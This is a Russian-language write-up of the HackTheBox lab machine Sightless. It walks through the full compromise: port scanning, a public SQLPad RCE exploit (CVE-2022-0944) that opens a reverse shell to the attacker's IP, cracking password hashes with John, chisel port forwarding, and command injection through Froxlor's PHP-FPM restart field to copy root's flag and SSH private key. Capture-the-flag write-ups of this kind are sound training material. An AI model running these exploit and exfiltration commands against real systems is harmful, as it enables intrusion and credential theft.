> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# Разбор Sightless на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**Навыки**:

* Эксплуатация SQLPad
* Система перечисления LINpeas
* Взлом хэшей (John)
* Переадресация портов (chisel)
* Froxlor (внедрение команд)
  {% endhint %}

## Разведка <a href="#reconnaissance" id="reconnaissance"></a>

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/08b25e8c7ad4b523a1abb956d709fa8a54fa1027" alt=""><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/86500d1f7d7ee8990eda75878572d034bc7ab2aa" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="/files/09ad47519ac4466de377d856182acd198903907f" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (21,22,80)

<figure><img src="/files/cefcbcac9cc0227f8bc2500b5a05c58f03424ab9" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="/files/17d7e04e6dae081391cb819b5121894118870cfb" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вносим доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

<figure><img src="/files/83c9fef34c732889947e4651d88619926217ee0d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9ec280f7c32613f451f43da7432d948c37992614" alt=""><figcaption></figcaption></figure>

Мы находим потенциальный адрес электронной почты: `sales@sightless.htb`

<figure><img src="/files/93f8723a4394eb5cb62327bd1172bb275a48aa4b" alt="" width="563"><figcaption></figcaption></figure>

## Уязвимость SQLPad:

{% hint style="info" %}
**SQLPad** — это инструмент с открытым исходным кодом, который упрощает выполнение, просмотр и совместное использование SQL-запросов через удобный веб-интерфейс. Он идеально подходит для команд по работе с данными или разработчиков.
{% endhint %}

<figure><img src="/files/0ee94c2994ab2b21da0af37cf3581e40352649aa" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="/files/b2148b4b2d8e8a9ac1888ba9b8ba6d7b944fc3ee" alt=""><figcaption></figcaption></figure>

**Уязвимая версия:**

Экземпляр по адресу `http://admin.sightless.htb` использует SQLPad 6.10.0, для которого известна уязвимость.

<figure><img src="/files/7a5f626eeac1540e75dadc78f1f97ef2ba837836" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**Установка:**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**Запуск эксплойта:**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

Мы слушаем порт 443 с помощью `nc`, и получаем доступ.

<figure><img src="/files/f32d93d88fc7f99559d35d1f1377dfb040430c13" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

Получив доступ к root системы, мы находим двух пользователей: `michael` и `node`, а также скрипт под названием `linpeas.sh`. Последний используется для перечисления системы с целью обнаружения потенциальных уязвимостей.

<figure><img src="/files/d855ab8321cfa3bf23edefcae97dcd2bd3b0fbb9" alt=""><figcaption></figcaption></figure>

### **Перечисление системы (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="/files/afc635a7cc0ae40c54226a4db7ec29d9e1df46c5" alt=""><figcaption></figcaption></figure>

Мы используем LinPEAS для повышения привилегий и обнаруживаем хэши паролей пользователей `root` и `michael`.

<figure><img src="/files/bca1c3e4e7c9ddd447e6c127567c817a3487b971" alt=""><figcaption></figcaption></figure>

Мы пытаемся взломать эти пароли с помощью John и словаря Rockyou:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Вот восстановленные пароли:

`root:blindside`

`michael:insaneclownposse`

<figure><img src="/files/4e4c69edd09f6a5a39009c633848198c60e4b325" alt=""><figcaption></figcaption></figure>

### Флаг user.txt

Войдя под пользователем `michael`, мы получаем файл `user.txt`. Однако пароль root, похоже, неверный.

<figure><img src="/files/8d10dd531076b02e3920d8263c2f5e71e998c746" alt=""><figcaption></figcaption></figure>

### **Chisel (переадресация портов)**

Сначала мы посмотрим на открытые порты внутри системы с помощью следующей команды:

```bash
netstat -nltp
```

Мы замечаем, что порт **8080** привлекает наше внимание.

<figure><img src="/files/ced45d8c96a814239cdeb4621f1be81a01ab6eaa" alt=""><figcaption></figcaption></figure>

Сделав `curl` запрос на этот порт, мы получаем HTML-страницу с формой входа, содержащей имя пользователя и пароль.

<figure><img src="/files/11a0aa90e2042c6ac64d616fd0fd0b1fdd69c87d" alt=""><figcaption></figcaption></figure>

Чтобы вывести этот внутренний контент наружу, мы воспользуемся **Chisel** инструментом. Мы передадим бинарный файл Chisel на нашу машину с помощью **Python** и **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="/files/fd80acb65fe4323bcfc713efc6bb3be0cf0f0ea0" alt=""><figcaption></figcaption></figure>

Далее мы запускаем прослушивание на нашей атакующей машине на порту **8888**:

```bash
chisel server -p 8888 -reverse
```

На целевой машине мы запускаем скрипт Chisel в клиентском режиме, чтобы подключиться к нашей атакующей машине на порту **8888**. Мы таким образом перенаправляем localhost порта жертвы **8080** на наш порт **8081**:

<figure><img src="/files/d8bf9275aa9a544502add49abd2780386726946b" alt=""><figcaption></figcaption></figure>

Таким образом, мы вывели наружу сервис, который работал внутри на порту **8080** (**Froxlor**).

<figure><img src="/files/f8e8e076fded6040a52f4dee36069e503b6cd080" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlor — это панель управления веб-хостингом, которая позволяет пользователям легко управлять своими серверами и хостинговыми сервисами. Она предоставляет удобный интерфейс для настройки и администрирования ресурсов сервера, таких как домены, базы данных, FTP-аккаунты и почтовые службы.
{% endhint %}

**Создайте новую версию PHP:**

После входа перейдите в раздел «PHP», затем в «PHP-FPM Versions» и создайте новую версию. В поле команды перезапуска PHP-FPM введите следующую команду: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/05e04d5b178001246e0cdd6d0fe45d3b7cafcb75" alt=""><figcaption></figcaption></figure>

Сохраните конфигурацию, затем перейдите на `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Отключите PHP-FPM и сохраните изменения, затем снова включите его и сохраните ещё раз. Это запустит выполнение команды копирования.

<figure><img src="/files/ec288955f3e6decc62c1cb6f2c3ce658fdd770de" alt=""><figcaption></figcaption></figure>

Вот файл, теперь нужно выдать ему права:

<figure><img src="/files/aa5ff498373bc39ce8d8c044b3d8a95c2a0c48ac" alt=""><figcaption></figcaption></figure>

Чтобы продолжить, повторите тот же процесс, но замените команду на:

```bash
chmod 644 /tmp/root.txt
```

### Флаг root : )

<figure><img src="/files/1c3c0bd48e175d571a831d849df06d5bd892a135" alt=""><figcaption></figcaption></figure>

Чтобы подключиться, вам нужно лишь скопировать `id_rsa` ключ (SSH от root) и повторить процедуру, чтобы восстановить права доступа:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/d75c5356a6d3a56ad647814e4b5d5bdf31495154" alt=""><figcaption></figcaption></figure>

Затем войдите с ключом по SSH:

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="/files/f346cd74d6f371b2d6613f27ab0072802a64a0b4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d24fee0c64c6320476e823083b87f1503c718bba" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
